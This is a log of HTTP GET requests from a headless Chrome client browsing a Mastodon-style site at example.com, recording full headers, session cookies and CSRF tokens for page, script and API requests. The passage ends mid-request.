{"method": "GET", "target": "/directory", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDYuNTYwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a782fc312bdce7936f298948ecb580145e9b7101; _mastodon_session=DEmQEoeiY9ikVIZYOrjVXq%2FugxdZmclJYLglzbQE6VIg6nPwEFfIUNi78NcHtnygeFbe7TFeGvH1%2Bzn6kkUmWnMYxjtGBKLSUBUMyoQho3tl8orL%2FucOLSEr55joM7ZlsTIaxdWRd5IOxQ87vMooEfvTSVgscw4LOCERPKHIwEf%2F5Zz%2BRbrPCkXJ47ahozzESyxC7klyfY31bT%2FHnH0JV1W7mR6k1MwvzAqvK2Jo6VLFME%2Be5phOOhm1YAlt4YORfD6mnzbktsdvRVKBAkmKEXYYA3pzbGY3MSyCf72979lkzp5cIVtvk5Yn0t6M7aNmXsuln0EQANMqA4Na4Sep9KM32oqQl2jIKXekzrHufHVt5g%2Fmp530XnF57lbjEz%2FWMwLEvvGM0AKP--Hjns012KtGlLNccQ--gYPkBAWRUOUqympoNjMw%2FA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/conversations", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDcuNjc0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b626440ceeb06d479e15138ccb5ff51c5742cc77; _mastodon_session=ZCZNRAgCGgSTqu3khOk%2FIvuOxgzjOcd%2BxASaH7ddiNv4sQAS6L%2F6CLDaD7lsPMkv5ywqI26ZZ91R%2BGhx60bGdG3xDVP1iOG6ga7E0beB0vdlQlT7ei84GB4fwpF9G9D%2BNuzbZVrnJeXK1vkwJeQtphze%2BftXmu%2Bd1BFm%2FLi22Uf6oMna%2FZLEX%2BkYiBbrJswQVpEPjWVMgouFyP87YxumiXj0QaPfYuWBjZ9U%2FTeQtf4LepFv%2BLHYBiAO1NW7VLcxL1Gkee2V8OyVr%2ByxmUbvmXneWLlZIU%2FPkw16%2BPtBUmYmLGrDUI%2Fm6oKKjlfw5IKpFeu92Uu%2Bocw59jrGR1Nkmc47n6%2FKnkHbT8THGs5hZ2gn4BxQndyBfiiYoPkzc1PxZ3UW%2BOWAIK4k--T5vZkHtDRj3o%2BXLx--PFJtAW7heHSYU9kyD4EcHw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/@bob", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDguNTYzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--64c828a301085a038d39938315981461a67d4c16; _mastodon_session=zw4TO2H7a2mvpfHCXxN28hFjkM2GDU1V9OpeNBMiQEZNhg51xYJYP8buMLut%2BQrFJkBYzYhJVbrMBqiQGtfEWMP7VHLaeVPE%2B805jhuhyC4c%2FQx9GAzBQdFKFtgYujti5EqZsJTCjpKYvTNlevywZYScudoMoMHsQR%2FYkuTh5ZFMI2%2FjhRrC6UIn23LUCwhVuQsHc1N5Y4bxITI2lDBuWnLXjUCIT2igQfAwANT9S7%2Fj9QQqZWUI%2BDeqdqaDQqpx%2FtBDx2ODv0G%2FsOh8NtdsPkDv4DcnxsMZzAD7JwhOmiwJ09gZq3GLcc0vdJ5uYLq5NKRGwQYEDwZuJ4y4TT1%2BI5N6tSFMyDGI57p0JH8Kb0FtoNFyonJ%2BbZHV%2B8bqXPjfKzbS9V797%2FCT--XmPJCLgRqFiHnUqa--M%2FmmtnAINXQ8JOSefE%2BQVw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/redux-toolkit.modern-DNDb-du5.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDkuNjcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8c385e15467c9db67377396d7d4f36a9cb765abb; _mastodon_session=wjCgsZ2LULZeRy1xUcJtGn3ow5A5fSLS%2BnhuFU99JC10Z8wFR2exy%2FYkBrzX43hbbLLPiSKtFV0sOxDfMQ0jwBsf7TwXrRRrmIjOuo%2BLy5ytSmS37dobvsNk0kumq7X6HOfaA%2F9vrGGcrs06uU5opasPlfTHX5tAi%2Biw0%2BOHUN20vW%2BAV1gdP6lFRFz1c6q2ZSh5NW16JWveRwk68YctZobyaSFPgtI%2F%2B2idskh%2B1QJx640rRAVAf69tJCQWur3n%2BvOn7GSMMMTDJvRadmM%2BTlsADyG32ycyNhdP3TYcPJnIV9Av1yTFhcJyurh7nniHXDZOfDGtVvQBgqq5pi7QMNJ3VV78HxF5BezJqMcoEAT3KmgdUo2P%2FSZzG%2BDrjDkDFp3Her8zwBzX--gS5YEXYAUHPp9vf4--BMN2zjGddSKMAOIPcjPzqA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/blurhash-CM3tW5se.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDkuNjcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8c385e15467c9db67377396d7d4f36a9cb765abb; _mastodon_session=wjCgsZ2LULZeRy1xUcJtGn3ow5A5fSLS%2BnhuFU99JC10Z8wFR2exy%2FYkBrzX43hbbLLPiSKtFV0sOxDfMQ0jwBsf7TwXrRRrmIjOuo%2BLy5ytSmS37dobvsNk0kumq7X6HOfaA%2F9vrGGcrs06uU5opasPlfTHX5tAi%2Biw0%2BOHUN20vW%2BAV1gdP6lFRFz1c6q2ZSh5NW16JWveRwk68YctZobyaSFPgtI%2F%2B2idskh%2B1QJx640rRAVAf69tJCQWur3n%2BvOn7GSMMMTDJvRadmM%2BTlsADyG32ycyNhdP3TYcPJnIV9Av1yTFhcJyurh7nniHXDZOfDGtVvQBgqq5pi7QMNJ3VV78HxF5BezJqMcoEAT3KmgdUo2P%2FSZzG%2BDrjDkDFp3Her8zwBzX--gS5YEXYAUHPp9vf4--BMN2zjGddSKMAOIPcjPzqA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/alt_text_badge-DgGj3HLf.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDkuNjcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8c385e15467c9db67377396d7d4f36a9cb765abb; _mastodon_session=wjCgsZ2LULZeRy1xUcJtGn3ow5A5fSLS%2BnhuFU99JC10Z8wFR2exy%2FYkBrzX43hbbLLPiSKtFV0sOxDfMQ0jwBsf7TwXrRRrmIjOuo%2BLy5ytSmS37dobvsNk0kumq7X6HOfaA%2F9vrGGcrs06uU5opasPlfTHX5tAi%2Biw0%2BOHUN20vW%2BAV1gdP6lFRFz1c6q2ZSh5NW16JWveRwk68YctZobyaSFPgtI%2F%2B2idskh%2B1QJx640rRAVAf69tJCQWur3n%2BvOn7GSMMMTDJvRadmM%2BTlsADyG32ycyNhdP3TYcPJnIV9Av1yTFhcJyurh7nniHXDZOfDGtVvQBgqq5pi7QMNJ3VV78HxF5BezJqMcoEAT3KmgdUo2P%2FSZzG%2BDrjDkDFp3Her8zwBzX--gS5YEXYAUHPp9vf4--BMN2zjGddSKMAOIPcjPzqA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/lookup?acct=bob", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Kdz6DOfyLxHrd5-FZG4VpsB9_UD2rYMs8c5LvKCcJezPYaU2qrBrHNws0aY6Jx0_xXJurAEw1y1Jv15Eo19bdQ", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMDQ0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--aa61febdb5d1576ced2969a701bad6f6148175f8; _mastodon_session=KBs4igKGz3OqdzEnnUxk%2F8V92Sgb5A3CZoaWuQkYwHEcdZNtYWornZm25ZsXIz5LRfChDBU4MJoZZAfj3%2FoyKiFku%2BjLBKMkpug58MjMR5szf5yLSiQpQ50%2BghS7N4LGFX1zF3UH3asRqcYsbeanHqLGNrtM73sc7pHyE2MN811KSXcL%2B%2BPhYhh8IPQxNlltu1soEdDLQCRukIUCM%2F7vtj29haKUDW%2BZ95u9IxiRFXYrFL6C0XNEn%2FQHRM4XOhLhFl24nHJUbfMF4Hy%2Bci72rZf1D1Su6vXTuGvpNKK3aalSn0oFf%2BUqPg3JnhCHzXpzqspK%2F9V21WveNoyztif8b%2FvavsrWEG%2BVIvoK8U4V%2F7m%2BA%2BzkqVx2KKdqR00sO0SYIPOsHQzD8m%2Bp--otqlKd1r1pQjRPaM--lc8Z6ahsj%2BiqbtvJSlrXwA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/117589325674471006/featured_tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Kdz6DOfyLxHrd5-FZG4VpsB9_UD2rYMs8c5LvKCcJezPYaU2qrBrHNws0aY6Jx0_xXJurAEw1y1Jv15Eo19bdQ", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9836eadc75881158169d2c375c18b0c43f0c7fd5; _mastodon_session=L5SxrnuL1rfcnwTpTV1YbhmKRSPxVfLgHp4bSYaPKjScdjKvS7IaWgAgaURoYxAxHjvDszIbCxu434GPuqY1C41ElzanEmd20lUi%2FuNyR%2Fyh%2FkZX%2BxHJ3CNY9WgyDbbvddbj9aFQaFWvkbLNELRPoSGt%2BC2vEL%2Bgkp64ziyab5jCDrOrJeXlr6atdueeAbtVKZ8I4rDOIk1r6PzV%2BQPsUZJ%2F8wbOWoX5zUjyAQuu%2FGYcWU%2FRm3Dr9Q9ZSdWunuNP2IrFTTRRnlZ%2FGrlcatjDC4ZLwa5klQ6n1Q%2FPwzb%2FGZCaLgeo%2BPAbQRScla%2BG3Uhgimh%2BUVtyHCqDTAQFsALx4yP8MgJql61eD0I81DPDpAAPi2h0eCKC0mWpc5bJ4XSX3EZ2%2FFvCp9JC--Wi634MwP2LuJ4Tbi--zpl%2BnOA8iPGnSTrURh5VFA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/117589325674471006/statuses?exclude_replies=true", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Kdz6DOfyLxHrd5-FZG4VpsB9_UD2rYMs8c5LvKCcJezPYaU2qrBrHNws0aY6Jx0_xXJurAEw1y1Jv15Eo19bdQ", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9836eadc75881158169d2c375c18b0c43f0c7fd5; _mastodon_session=L5SxrnuL1rfcnwTpTV1YbhmKRSPxVfLgHp4bSYaPKjScdjKvS7IaWgAgaURoYxAxHjvDszIbCxu434GPuqY1C41ElzanEmd20lUi%2FuNyR%2Fyh%2FkZX%2BxHJ3CNY9WgyDbbvddbj9aFQaFWvkbLNELRPoSGt%2BC2vEL%2Bgkp64ziyab5jCDrOrJeXlr6atdueeAbtVKZ8I4rDOIk1r6PzV%2BQPsUZJ%2F8wbOWoX5zUjyAQuu%2FGYcWU%2FRm3Dr9Q9ZSdWunuNP2IrFTTRRnlZ%2FGrlcatjDC4ZLwa5klQ6n1Q%2FPwzb%2FGZCaLgeo%2BPAbQRScla%2BG3Uhgimh%2BUVtyHCqDTAQFsALx4yP8MgJql61eD0I81DPDpAAPi2h0eCKC0mWpc5bJ4XSX3EZ2%2FFvCp9JC--Wi634MwP2LuJ4Tbi--zpl%2BnOA8iPGnSTrURh5VFA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/117589325674471006/statuses?pinned=true", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Kdz6DOfyLxHrd5-FZG4VpsB9_UD2rYMs8c5LvKCcJezPYaU2qrBrHNws0aY6Jx0_xXJurAEw1y1Jv15Eo19bdQ", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9836eadc75881158169d2c375c18b0c43f0c7fd5; _mastodon_session=L5SxrnuL1rfcnwTpTV1YbhmKRSPxVfLgHp4bSYaPKjScdjKvS7IaWgAgaURoYxAxHjvDszIbCxu434GPuqY1C41ElzanEmd20lUi%2FuNyR%2Fyh%2FkZX%2BxHJ3CNY9WgyDbbvddbj9aFQaFWvkbLNELRPoSGt%2BC2vEL%2Bgkp64ziyab5jCDrOrJeXlr6atdueeAbtVKZ8I4rDOIk1r6PzV%2BQPsUZJ%2F8wbOWoX5zUjyAQuu%2FGYcWU%2FRm3Dr9Q9ZSdWunuNP2IrFTTRRnlZ%2FGrlcatjDC4ZLwa5klQ6n1Q%2FPwzb%2FGZCaLgeo%2BPAbQRScla%2BG3Uhgimh%2BUVtyHCqDTAQFsALx4yP8MgJql61eD0I81DPDpAAPi2h0eCKC0mWpc5bJ4XSX3EZ2%2FFvCp9JC--Wi634MwP2LuJ4Tbi--zpl%2BnOA8iPGnSTrURh5VFA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/tags/python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMjY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--854beace6a0a8d7da422c356dbc1518be180b139; _mastodon_session=rrsqAGrZeRwET%2F%2BbCcBEn0YKN%2BH32FsTGMN%2FELBzPURLDL%2FfQtlA2X57dJCilXjkuSUBii9W3JyB%2FCH1Ax2U08o5%2FQ0LvnLfkqg5aUHmlz8Lz5b%2F4MCgMyKjytRDniRzRAjMfjDIVhOQE%2BmMLxrvErKMQSB3QVlE7lrv6%2FLW64x695mYeKkQ2xlStFS7AodfYgrjCRE8DwtScPmgW%2FN0oPrTCfNkcZv0aAdHuDhq9nK%2BU6Mkq31aPGCTV0vbdRBgf8HGTuJXn%2F%2Fp9RyxHNCxItTCqED84hliKqRM3Q0Z%2Fduy4PCHFgSo8R%2BYoftw3DxnXGy4yiuTNX0DIh%2FNEOrwKfGhJ0NNfKjKTxyo8YutLZaH98n%2BWGKFsnAcrKwxXuoYrIaQ6d%2Fz2tAk--dglBlHFKrjt5Y3yv--VCnKkhOH6JdcjCTG8Eg2Yg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/follow_requests", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuODcwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fe77ef3c04ecd966362e7ac5d7e7a10ddc840123; _mastodon_session=SdyZCz8ZXG8FQiSBtPtmKZO9ZC%2BUFbWmrQvbCakTmfrAFg5Fd9gXerynUiXh9qdq7BEB3fI0W8ms%2FV2pu5e%2Br1tqIB05tDxNGDTmIc3J%2BDlaTLeU4dF5BJjQnaFjPeZgOReKDp%2BLzGd8yuWu9QSE6PYHuX3%2BRkLN4E4FKn1zcT8zce%2BBjGiGF7ZGVs55N9xAigu7%2FCSZeROZyUZl%2BJIT6o5fbk%2BES42bo5iR8rm%2FRGrl7JG1PAfc%2B25Ij0DfWXSLgyXY51CbUwDF%2FGgvVexJlWT6P36cFUWm0ilToLapm0uJ7OFl%2F6CWrHp47XFitbgNzyBWNSvhyAK1Yfe4FqRtDa%2BELxTEMxGqDRhaKpvV2%2FjXF1NZdV4ULrLDNujWcc%2FGEPgYWtAR9gLf4llyHC2Tm2VRaKMY6XgOTIC9qC1ZYqAKJN1YcCtQ07S0uzNHP9saVAiJzsg%3D--l9r0GmkTc07BxG%2F9--ExelfGKY22w0pINg0fOrJQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/public", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTIuOTU3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--683a55a2b8eda90efbd6ae4bbe31d7d9ca48e88d; _mastodon_session=tSJo%2Fx32D26MK2pXSa7ZEHRpp0tM%2B%2BVc4XVKomVjhaABNseGev22E6ugNfHN5UG5TARH9MJi%2B9ciYqzrb0m2oToqGsG5TDlwxZqQUKOF7Ggw6Gb3V4VX%2BXWkZ08vTUAAoV%2FrniSKFH9%2F%2B47q3FDSWLfo04SnLQreAnzU8wN9298iX0qiZ3nPoyH9AvLPD9QgwZW7H3fNzDcPDJMtr6aBrTBSvF3jLCQw%2BUcnGvN7nsQ1%2BajGuX12AV9tg1QodstD5RBxvfUF9HRp4XJ1yw8wF9jFh%2BXjN6FqLpJwf16u169q%2BE52rBiGSqYVaPol8HQ%2Bd3%2F1FEZV%2BdkREAuZwxDPDqcuuwPvwNfnM1CR5Qi4GehuOkPEqOSXZaFB8aNWaTksnZcl6GFoBdJf2sUIGNYzHmwqqZJkeD7iy8OOjHoGo3gyTreiQnluiEkF4k0Nff3mNItrARE%3D--rL5XCAUKDmsD%2Fox9--xyTP52phnwqw14ZClnEGZQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 